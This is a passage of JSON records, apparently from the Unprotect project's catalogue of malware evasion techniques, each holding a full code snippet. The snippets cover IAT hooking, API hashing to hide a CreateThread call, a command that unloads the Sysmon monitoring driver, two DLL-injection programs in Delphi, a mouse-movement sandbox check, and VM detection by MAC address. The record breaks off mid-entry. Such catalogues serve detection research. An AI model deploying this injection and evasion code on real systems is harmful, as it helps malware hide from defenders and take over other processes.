            "description": "Original source code: https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking",
            "plain_code": "#include <iostream>\r\n#include <Windows.h>\r\n#include <winternl.h>\r\n\r\n// define MessageBoxA prototype\r\nusing PrototypeMessageBox = int (WINAPI *)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);\r\n\r\n// remember memory address of the original MessageBoxA routine\r\nPrototypeMessageBox originalMsgBox = MessageBoxA;\r\n\r\n// hooked function with malicious code that eventually calls the original MessageBoxA\r\nint hookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)\r\n{\r\n\tMessageBoxW(NULL, L\"Ola Hooked from a Rogue Senor .o.\", L\"Ola Senor o/\", 0);\r\n\t// execute the original NessageBoxA\r\n\treturn originalMsgBox(hWnd, lpText, lpCaption, uType);\r\n}\r\n\r\nint main()\r\n{\r\n\t// message box before IAT unhooking\r\n\tMessageBoxA(NULL, \"Hello Before Hooking\", \"Hello Before Hooking\", 0);\r\n\t\r\n\tLPVOID imageBase = GetModuleHandleA(NULL);\r\n\tPIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)imageBase;\r\n\tPIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeaders->e_lfanew);\r\n\r\n\tPIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;\r\n\tIMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];\r\n\timportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)imageBase);\r\n\tLPCSTR libraryName = NULL;\r\n\tHMODULE library = NULL;\r\n\tPIMAGE_IMPORT_BY_NAME functionName = NULL; \r\n\r\n\twhile (importDescriptor->Name != NULL)\r\n\t{\r\n\t\tlibraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)imageBase;\r\n\t\tlibrary = LoadLibraryA(libraryName);\r\n\r\n\t\tif (library)\r\n\t\t{\r\n\t\t\tPIMAGE_THUNK_DATA originalFirstThunk = NULL, firstThunk = NULL;\r\n\t\t\toriginalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->OriginalFirstThunk);\r\n\t\t\tfirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->FirstThunk);\r\n\r\n\t\t\twhile (originalFirstThunk->u1.AddressOfData != NULL)\r\n\t\t\t{\r\n\t\t\t\tfunctionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)imageBase + originalFirstThunk->u1.AddressOfData);\r\n\t\t\t\t\t\r\n\t\t\t\t// find MessageBoxA address\r\n\t\t\t\tif (std::string(functionName->Name).compare(\"MessageBoxA\") == 0)\r\n\t\t\t\t{\r\n\t\t\t\t\tSIZE_T bytesWritten = 0;\r\n\t\t\t\t\tDWORD oldProtect = 0;\r\n\t\t\t\t\tVirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t// swap MessageBoxA address with address of hookedMessageBox\r\n\t\t\t\t\tfirstThunk->u1.Function = (DWORD_PTR)hookedMessageBox;\r\n\t\t\t\t}\r\n\t\t\t\t++originalFirstThunk;\r\n\t\t\t\t++firstThunk;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\timportDescriptor++;\r\n\t}\r\n\r\n\t// message box after IAT hooking\r\n\tMessageBoxA(NULL, \"Hello after Hooking\", \"Hello after Hooking\", 0);\r\n\t\r\n\treturn 0;\r\n}"
        },
        {
            "id": 91,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/75/?format=api",
            "description": "Original source code: https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware",
            "plain_code": "#include <iostream>\r\n#include <Windows.h>\r\n\r\nDWORD getHashFromString(char *string) \r\n{\r\n\tsize_t stringLength = strnlen_s(string, 50);\r\n\tDWORD hash = 0x35;\r\n\t\r\n\tfor (size_t i = 0; i < stringLength; i++)\r\n\t{\r\n\t\thash += (hash * 0xab10f29f + string[i]) & 0xffffff;\r\n\t}\r\n\t// printf(\"%s: 0x00%x\\n\", string, hash);\r\n\t\r\n\treturn hash;\r\n}\r\n\r\nPDWORD getFunctionAddressByHash(char *library, DWORD hash)\r\n{\r\n\tPDWORD functionAddress = (PDWORD)0;\r\n\r\n\t// Get base address of the module in which our exported function of interest resides (kernel32 in the case of CreateThread)\r\n\tHMODULE libraryBase = LoadLibraryA(library);\r\n\r\n\tPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase;\r\n\tPIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + dosHeader->e_lfanew);\r\n\t\r\n\tDWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\r\n\t\r\n\tPIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA);\r\n\t\r\n\t// Get RVAs to exported function related information\r\n\tPDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfFunctions);\r\n\tPDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNames);\r\n\tPWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNameOrdinals);\r\n\r\n\t// Iterate through exported functions, calculate their hashes and check if any of them match our hash of 0x00544e304 (CreateThread)\r\n\t// If yes, get its virtual memory address (this is where CreateThread function resides in memory of our process)\r\n\tfor (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++)\r\n\t{\r\n\t\tDWORD functionNameRVA = addressOfNamesRVA[i];\r\n\t\tDWORD_PTR functionNameVA = (DWORD_PTR)libraryBase + functionNameRVA;\r\n\t\tchar* functionName = (char*)functionNameVA;\r\n\t\tDWORD_PTR functionAddressRVA = 0;\r\n\r\n\t\t// Calculate hash for this exported function\r\n\t\tDWORD functionNameHash = getHashFromString(functionName);\r\n\t\t\r\n\t\t// If hash for CreateThread is found, resolve the function address\r\n\t\tif (functionNameHash == hash)\r\n\t\t{\r\n\t\t\tfunctionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];\r\n\t\t\tfunctionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA);\r\n\t\t\tprintf(\"%s : 0x%x : %p\\n\", functionName, functionNameHash, functionAddress);\r\n\t\t\treturn functionAddress;\r\n\t\t}\r\n\t}\r\n}\r\n\r\n// Define CreateThread function prototype\r\nusing customCreateThread = HANDLE(NTAPI*)(\r\n\tLPSECURITY_ATTRIBUTES   lpThreadAttributes,\r\n\tSIZE_T                  dwStackSize,\r\n\tLPTHREAD_START_ROUTINE  lpStartAddress,\r\n\t__drv_aliasesMem LPVOID lpParameter,\r\n\tDWORD                   dwCreationFlags,\r\n\tLPDWORD                 lpThreadId\r\n);\r\n\r\nint main()\r\n{\r\n\t// Resolve CreateThread address by hash\r\n\tPDWORD functionAddress = getFunctionAddressByHash((char *)\"kernel32\", 0x00544e304);\r\n\r\n\t// Point CreateThread function pointer to the CreateThread virtual address resolved by its hash\r\n\tcustomCreateThread CreateThread = (customCreateThread)functionAddress;\r\n\tDWORD tid = 0;\r\n\r\n\t// Call CreateThread\r\n\tHANDLE th = CreateThread(NULL, NULL, NULL, NULL, NULL, &tid);\r\n\r\n\treturn 1;\r\n}"
        },
        {
            "id": 92,
            "language": {
                "id": 7,
                "label": "cmd",
                "code_class": "cmd"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/182/?format=api",
            "description": "",
            "plain_code": "fltMC.exe unload SysmonDrv"
        },
        {
            "id": 93,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/166/?format=api",
            "description": "",
            "plain_code": "PPEB pPEB = (PPEB)__readgsqword(0x60);\r\nPVOID params = (PVOID) * (PQWORD)((PBYTE)pPEB + 0x20);\r\nPWSTR environmental_variables = (PWSTR) * (PQWORD)((PBYTE)params + 0x80);\r\n\r\nwhile (environmental_variables)\r\n{\r\n    PWSTR m = wcsstr(environmental_variables, L\"COMPUTERNAME=\");\r\n    if (m) break;\r\n    environmental_variables += wcslen(environmental_variables) + 1;\r\n}\r\nPWSTR computerName = wcsstr(environmental_variables, L\"=\") + 1;\r\nwcslwr(computerName);\r\nwprintf(L\"%s\", computerName);"
        },
        {
            "id": 80,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/178/?format=api",
            "description": "This code snippet demonstrate how to Inject a DLL in a remote process without using `WriteProcessMemory` and `VirtualAlloc(Ex)`.",
            "plain_code": "(*\r\n    Example of DLL Code to test DLL Injection:\r\n    ------------------------------------------\r\n\r\n    BOF>>\r\n\r\n    library UnprotectTestDLL;\r\n\r\n          uses\r\n            WinApi.Windows,\r\n            System.SysUtils,\r\n            System.Classes;\r\n\r\n          {$R *.res}\r\n\r\n          procedure DllMain(AReason: Integer);\r\n          var AMessage   : String;\r\n              AStrReason : String;\r\n          begin\r\n            case AReason of\r\n              DLL_PROCESS_DETACH : AStrReason := 'DLL_PROCESS_DETACH';\r\n              DLL_PROCESS_ATTACH : AStrReason := 'DLL_PROCESS_ATTACH';\r\n              DLL_THREAD_ATTACH  : AStrReason := 'DLL_THREAD_ATTACH';\r\n              DLL_THREAD_DETACH  : AStrReason := 'DLL_THREAD_DETACH';\r\n              else\r\n                AStrReason := 'REASON_UNKNOWN';\r\n            end;\r\n\r\n            AMessage := Format('(%s): Injected! Living in %d (%s) process.', [\r\n              AStrReason,\r\n              GetCurrentProcessId(),\r\n              ExtractFileName(GetModuleName(0))\r\n            ]);\r\n            ///\r\n\r\n            OutputDebugStringW(PWideChar(AMessage));\r\n          end;\r\n\r\n          begin\r\n            DllProc := DllMain;\r\n            DllMain(DLL_PROCESS_ATTACH)\r\n\r\n\r\n    <<EOF\r\n*)\r\n\r\n// Support both x86-32 and x86-64\r\n\r\nprogram ProcEnvInjection_DLLInjection;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  Winapi.Windows,\r\n  System.Math,\r\n  System.SysUtils;\r\n\r\ntype\r\n  EWindowsException = class(Exception)\r\n  private\r\n    FLastError : Integer;\r\n  public\r\n    {@C}\r\n    constructor Create(const WinAPI : String); overload;\r\n\r\n    {@G}\r\n    property LastError : Integer read FLastError;\r\n  end;\r\n\r\n  {$IFDEF WIN64}\r\n    PProcessBasicInformation = ^TProcessBasicInformation;\r\n    TProcessBasicInformation = record\r\n    ExitStatus         : Int64;\r\n    PebBaseAddress     : Pointer;\r\n    AffinityMask       : Int64;\r\n    BasePriority       : Int64;\r\n    UniqueProcessId    : Int64;\r\n    InheritedUniquePID : Int64;\r\n    end;\r\n  {$ELSE}\r\n    PProcessBasicInformation = ^TProcessBasicInformation;\r\n    TProcessBasicInformation = record\r\n    ExitStatus         : DWORD;\r\n    PebBaseAddress     : Pointer;\r\n    AffinityMask       : DWORD;\r\n    BasePriority       : DWORD;\r\n    UniqueProcessId    : DWORD;\r\n    InheritedUniquePID : DWORD;\r\n    end;\r\n  {$ENDIF}\r\n\r\n  UNICODE_STRING = record\r\n    Length        : Word;\r\n    MaximumLength : Word;\r\n    Buffer        : LPWSTR;\r\n  end;\r\n\r\n  CURDIR = record\r\n    DosPath : UNICODE_STRING;\r\n    Handle  : THandle;\r\n  end;\r\n\r\n  RTL_DRIVE_LETTER_CURDIR = record\r\n    Flags     : Word;\r\n    Length    : Word;\r\n    TimeStamp : ULONG;\r\n    DosPath   : UNICODE_STRING;\r\n  end;\r\n\r\n  TRTLUserProcessParameters = record\r\n    MaximumLength      : ULONG;\r\n    Length             : ULONG;\r\n    Flags              : ULONG;\r\n    DebugFlags         : ULONG;\r\n    ConsoleHandle      : THANDLE;\r\n    ConsoleFlags       : ULONG;\r\n    StandardInput      : THANDLE;\r\n    StandardOutput     : THANDLE;\r\n    StandardError      : THANDLE;\r\n    CurrentDirectory   : CURDIR;\r\n    DllPath            : UNICODE_STRING;\r\n    ImagePathName      : UNICODE_STRING;\r\n    CommandLine        : UNICODE_STRING;\r\n    Environment        : Pointer;\r\n    StartingX          : ULONG;\r\n    StartingY          : ULONG;\r\n    CountX             : ULONG;\r\n    CountY             : ULONG;\r\n    CountCharsX        : ULONG;\r\n    CountCharsY        : ULONG;\r\n    FillAttribute      : ULONG;\r\n    WindowFlags        : ULONG;\r\n    ShowWindowFlags    : ULONG;\r\n    WindowTitle        : UNICODE_STRING;\r\n    DesktopInfo        : UNICODE_STRING;\r\n    ShellInfo          : UNICODE_STRING;\r\n    RuntimeData        : UNICODE_STRING;\r\n    CurrentDirectories : array [0 .. 32-1] of RTL_DRIVE_LETTER_CURDIR;\r\n  end;\r\n  PRTLUserProcessParameters = ^TRTLUserProcessParameters;\r\n\r\n  TPEB = record\r\n    Reserved1              : array [0..2-1] of Byte;\r\n    BeingDebugged          : Byte;\r\n    Reserved2              : Byte;\r\n    Reserved3              : array [0..2-1] of Pointer;\r\n    Ldr                    : Pointer;\r\n    ProcessParameters      : PRTLUserProcessParameters;\r\n    Reserved4              : array [0..103-1] of Byte;\r\n    Reserved5              : array [0..52-1] of Pointer;\r\n    PostProcessInitRoutine : Pointer;\r\n    Reserved6              : array [0..128-1] of byte;\r\n    Reserved7              : Pointer;\r\n    SessionId              : ULONG;\r\n  end;\r\n  PPEB = ^TPEB;\r\n\r\nfunction NtQueryInformationProcess(\r\n  ProcessHandle : THandle;\r\n  ProcessInformationClass : DWORD;\r\n  ProcessInformation : Pointer;\r\n  ProcessInformationLength : ULONG;\r\n  ReturnLength : PULONG\r\n): LongInt; stdcall; external 'ntdll.dll';\r\n\r\nconst PROCESS_BASIC_INFORMATION = 0;\r\n\r\nconstructor EWindowsException.Create(const WinAPI : String);\r\nvar AFormatedMessage : String;\r\nbegin\r\n  FLastError := GetLastError();\r\n\r\n  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg=\"%s\".', [\r\n      WinAPI,\r\n      FLastError,\r\n      SysErrorMessage(FLastError)\r\n  ]);\r\n\r\n  ///\r\n  inherited Create(AFormatedMessage);\r\nend;\r\n\r\nfunction RandomString(ALength : Word) : String;\r\nconst AChars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\r\nvar I : Integer;\r\nbegin\r\n  result := '';\r\n  ///\r\n\r\n  randomize;\r\n\r\n  for I := 1 to ALength do begin\r\n      result := result + AChars[random(length(AChars))+1];\r\n  end;\r\nend;\r\n\r\n\r\nfunction InjectDLL(const ADLLPath : String; AHostApplication: String; const AEggLength : Cardinal = 5) : Boolean;\r\nvar AStartupInfo              : TStartupInfo;\r\n    AProcessInfo              : TProcessInformation;\r\n    AEnvLen                   : Cardinal;\r\n    pEnvBlock                 : Pointer;\r\n    ARetLen                   : Cardinal;\r\n    PBI                       : TProcessBasicInformation;\r\n    APEB                      : TPEB;\r\n    ABytesRead                : SIZE_T;\r\n    ARTLUserProcessParameters : TRTLUserProcessParameters;\r\n    i                         : Integer;\r\n    pOffset                   : Pointer;\r\n    APayloadEgg               : String;\r\n    APayloadEnv               : String;\r\n    ABuffer                   : array of byte;\r\n    pPayloadOffset            : Pointer;\r\n    AThreadId                 : Cardinal;\r\nbegin\r\n  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));\r\n  AStartupInfo.cb := SizeOf(TStartupInfo);\r\n\r\n  ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));\r\n\r\n  result := False;\r\n\r\n  APayloadEgg := RandomString(AEggLength);\r\n  APayloadEnv := Format('%s=%s', [APayloadEgg, ADLLPath]);\r\n\r\n  AEnvLen := (Length(APayloadEnv) * SizeOf(WideChar));\r\n\r\n  GetMem(pEnvBlock, AEnvLen);\r\n  try\r\n    ZeroMemory(pEnvBlock, AEnvLen);\r\n    Move(PWideChar(APayloadEnv)^, pEnvBlock^, AEnvLen);\r\n    ///\r\n\r\n    UniqueString(AHostApplication);\r\n\r\n    if not CreateProcessW(\r\n        PWideChar(AHostApplication),\r\n        nil,\r\n        nil,\r\n        nil,\r\n        False,\r\n        CREATE_NEW_CONSOLE or CREATE_UNICODE_ENVIRONMENT,\r\n        pEnvBlock,\r\n        nil,\r\n        AStartupInfo,\r\n        AProcessInfo\r\n    ) then\r\n      raise EWindowsException.Create('CreateProcessW');\r\n\r\n    // Tiny trick to be sure new process is completely initailized.\r\n    // Remove bellow if you find it problematic.\r\n    WaitForInputIdle(AProcessInfo.hProcess, INFINITE);\r\n\r\n    if NtQueryInformationProcess(\r\n        AProcessInfo.hProcess,\r\n        PROCESS_BASIC_INFORMATION,\r\n        @PBI,\r\n        SizeOf(TProcessBasicInformation),\r\n        @ARetLen\r\n    ) <> ERROR_SUCCESS then\r\n      raise EWindowsException.Create('NtQueryInformationProcess');\r\n\r\n    if not ReadProcessMemory(\r\n        AProcessInfo.hProcess,\r\n        PBI.PebBaseAddress,\r\n        @APEB,\r\n        SizeOf(TPEB),\r\n        ABytesRead\r\n    ) then\r\n      raise EWindowsException.Create('ReadProcessMemory');\r\n\r\n    if not ReadProcessMemory(\r\n        AProcessInfo.hProcess,\r\n        APEB.ProcessParameters,\r\n        @ARTLUserProcessParameters,\r\n        SizeOf(TRTLUserProcessParameters),\r\n        ABytesRead\r\n    ) then\r\n      raise EWindowsException.Create('ReadProcessMemory');\r\n\r\n    // Scan Environment Variable Memory Block\r\n    I := 0;\r\n\r\n    SetLength(ABuffer, AEggLength * SizeOf(WideChar));\r\n\r\n    pPayloadOffset := nil;\r\n\r\n    while true do begin\r\n      pOffset := Pointer(NativeUInt(ARTLUserProcessParameters.Environment) + I);\r\n      ///\r\n\r\n      if not ReadProcessMemory(\r\n          AProcessInfo.hProcess,\r\n          pOffset,\r\n          @ABuffer[0],\r\n          Length(ABuffer),\r\n          ABytesRead\r\n      ) then\r\n        raise EWindowsException.Create('ReadProcessMemory');\r\n\r\n      if CompareMem(PWideChar(ABuffer), PWideChar(APayloadEgg), Length(ABuffer)) then begin\r\n        pPayloadOffset := Pointer(NativeUInt(pOffset) + Length(ABuffer) + SizeOf(WideChar) { =\\0 });\r\n\r\n        break;\r\n      end;\r\n\r\n      Inc(I, 2);\r\n    end;\r\n\r\n    SetLength(ABuffer, 0);\r\n\r\n    if not Assigned(pPayloadOffset) then\r\n      raise Exception.Create('Could not locate Injected DLL Path offset from remote process environment.');\r\n\r\n    // Debug, read DLL path from remote process\r\n//    SetLength(ABuffer, AEnvLen - (5 * SizeOf(WideChar)));\r\n//    ReadProcessMemory(\r\n//        AProcessInfo.hProcess,\r\n//        pPayloadOffset,\r\n//        @ABuffer[0],\r\n//        Length(ABuffer),\r\n//        ABytesRead\r\n//    );\r\n//    WriteLn(PWideChar(ABuffer));\r\n\r\n    // Start DLL Injection\r\n    if CreateRemoteThread(\r\n        AProcessInfo.hProcess,\r\n        nil,\r\n        0,\r\n        GetProcAddress(GetModuleHandle('Kernel32.dll'), 'LoadLibraryW'),\r\n        pPayloadOffset,\r\n        0,\r\n        AThreadId\r\n    ) = 0 then\r\n      raise EWindowsException.Create('CreateRemoteThread');\r\n  finally\r\n    FreeMem(pEnvBlock, AEnvLen);\r\n  end;\r\nend;\r\n\r\nbegin\r\n  try\r\n    InjectDLL('C:\\Temp\\UnprotectTestDLL.dll', 'C:\\Program Files\\Notepad++\\notepad++.exe');\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 81,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/93/?format=api",
            "description": "",
            "plain_code": "(*\r\n    Example of DLL Code to test DLL Injection:\r\n    ------------------------------------------\r\n\r\n    BOF>>\r\n\r\n    library UnprotectTestDLL;\r\n\r\n          uses\r\n            WinApi.Windows,\r\n            System.SysUtils,\r\n            System.Classes;\r\n\r\n          {$R *.res}\r\n\r\n          procedure DllMain(AReason: Integer);\r\n          var AMessage   : String;\r\n              AStrReason : String;\r\n          begin\r\n            case AReason of\r\n              DLL_PROCESS_DETACH : AStrReason := 'DLL_PROCESS_DETACH';\r\n              DLL_PROCESS_ATTACH : AStrReason := 'DLL_PROCESS_ATTACH';\r\n              DLL_THREAD_ATTACH  : AStrReason := 'DLL_THREAD_ATTACH';\r\n              DLL_THREAD_DETACH  : AStrReason := 'DLL_THREAD_DETACH';\r\n              else\r\n                AStrReason := 'REASON_UNKNOWN';\r\n            end;\r\n\r\n            AMessage := Format('(%s): Injected! Living in %d (%s) process.', [\r\n              AStrReason,\r\n              GetCurrentProcessId(),\r\n              ExtractFileName(GetModuleName(0))\r\n            ]);\r\n            ///\r\n\r\n            OutputDebugStringW(PWideChar(AMessage));\r\n          end;\r\n\r\n          begin\r\n            DllProc := DllMain;\r\n            DllMain(DLL_PROCESS_ATTACH)\r\n\r\n\r\n    <<EOF\r\n*)\r\n\r\n// Support both x86-32 and x86-64\r\n\r\nprogram DLLInjection_CreateRemoteThread_LoadLibrary;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  WinApi.Windows,\r\n  System.SysUtils;\r\n\r\ntype\r\n  EWindowsException = class(Exception)\r\n  private\r\n    FLastError : Integer;\r\n  public\r\n    {@C}\r\n    constructor Create(const WinAPI : String); overload;\r\n\r\n    {@G}\r\n    property LastError : Integer read FLastError;\r\n  end;\r\n\r\n\r\nconstructor EWindowsException.Create(const WinAPI : String);\r\nvar AFormatedMessage : String;\r\nbegin\r\n  FLastError := GetLastError();\r\n\r\n  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg=\"%s\".', [\r\n      WinAPI,\r\n      FLastError,\r\n      SysErrorMessage(FLastError)\r\n  ]);\r\n\r\n  ///\r\n  inherited Create(AFormatedMessage);\r\nend;\r\n\r\nprocedure InjectDLL(const ADLLFile : String; const ATargetProcessId : Cardinal);\r\nvar hProcess      : THandle;\r\n    pOffset       : Pointer;\r\n    AThreadId     : Cardinal;\r\n    ABytesWritten : SIZE_T;\r\nbegin\r\n  if not FileExists(ADLLFile) then\r\n    raise Exception.Create('DLL file not found!');\r\n  ///\r\n\r\n  hProcess := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_VM_WRITE, False, ATargetProcessId);\r\n  if hProcess = 0 then\r\n    raise EWindowsException.Create('OpenProcess');\r\n  try\r\n    pOffset := VirtualAllocEx(hProcess, nil, Length(ADLLFile), MEM_COMMIT, PAGE_READWRITE);\r\n    if not Assigned(pOffset) then\r\n      raise EWindowsException.Create('VirtualAllocEx');\r\n\r\n    if not WriteProcessMemory(hProcess, pOffset, PWideChar(ADLLFile), Length(ADLLFile) * SizeOf(WideChar), ABytesWritten) then\r\n      raise EWindowsException.Create('WriteProcessMemory');\r\n\r\n    if CreateRemoteThread(hProcess, nil, 0, GetProcAddress(GetModuleHandle('Kernel32.dll'), 'LoadLibraryW'), pOffset, 0, AThreadId) = 0 then\r\n      raise EWindowsException.Create('CreateRemoteThread');\r\n  finally\r\n    CloseHandle(hProcess);\r\n  end;\r\nend;\r\n\r\nbegin\r\n  try\r\n    InjectDLL('c:\\temp\\UnprotectTestDLL.dll' {Desired DLL To Inject}, 12196 {Desired Process Id});\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 82,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/29/?format=api",
            "description": "",
            "plain_code": "program ADetectMouseMove;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  WinApi.Windows,\r\n  WinApi.ShellAPI,\r\n  System.Classes,\r\n  System.SysUtils;\r\n\r\nvar APoint     : TPoint;\r\n    AOldPoint  : TPoint;\r\n    AMoveCount : Cardinal;\r\n\r\n// Update bellow constant to require more mouse move check before continue code execution\r\nconst AMaxMove = 5;\r\n\r\nbegin\r\n  try\r\n    GetCursorPos(AOldPoint);\r\n    ///\r\n\r\n    AMoveCount := 0;\r\n    while True do begin\r\n      GetCursorPos(APoint);\r\n\r\n      if not PointsEqual(APoint, AOldPoint) then begin\r\n        AOldPoint := APoint;\r\n\r\n        Inc(AMoveCount);\r\n      end;\r\n\r\n      if AMoveCount >= AMaxMove then\r\n        break;\r\n\r\n      Sleep(1000);\r\n    end;\r\n\r\n    ///\r\n\r\n    WriteLn('Mouse has moved, continue execution...');\r\n\r\n    ShellExecuteW(0, 'open', 'calc.exe', nil, nil, SW_SHOW);\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 76,
            "language": {
                "id": 9,
                "label": "C#",
                "code_class": "csharp"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/8/?format=api",
            "description": "",
            "plain_code": "using System.Net.NetworkInformation;\r\n\r\n/*\r\nString[] vmMacAddresses =\r\n{\r\n    \"08:00:27\",\r\n    \"00:0C:29\",\r\n    \"00:1C:14\",\r\n    \"00:50:56\",\r\n    \"00:05:69\",\r\n};\r\n*/\r\n\r\nvar vmMacAddresses = new Dictionary<string, string>();\r\n\r\nvmMacAddresses.Add(\"08:00:27\", \"VirtualBox\");\r\nvmMacAddresses.Add(\"00:0C:29\", \"VMWare\");\r\nvmMacAddresses.Add(\"00:1C:14\", \"VMWare\");\r\nvmMacAddresses.Add(\"00:50:56\", \"VMWare\");\r\nvmMacAddresses.Add(\"00:05:69\", \"VMWare\");\r\n// Add other ones bellow...\r\n\r\nforeach (NetworkInterface netInterface in NetworkInterface.GetAllNetworkInterfaces())\r\n{\r\n    PhysicalAddress physicalAddress = netInterface.GetPhysicalAddress();\r\n    if (physicalAddress == null)\r\n    {\r\n        continue;\r\n    }\r\n\r\n    String mac = String.Join(\":\", (from b in physicalAddress.GetAddressBytes().Take(3) select b.ToString(\"X2\")));\r\n\r\n    if (vmMacAddresses.ContainsKey(mac))\r\n    {\r\n        throw new Exception(\r\n            String.Format(\"{0} Detected from its MAC Address.\", vmMacAddresses.GetValueOrDefault(mac))            \r\n        );\r\n    }\r\n\r\n    Console.WriteLine(\"No VM Detected :)\");\r\n}"
        },
        {
            "id": 77,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/54/?format=api",
            "description": "",
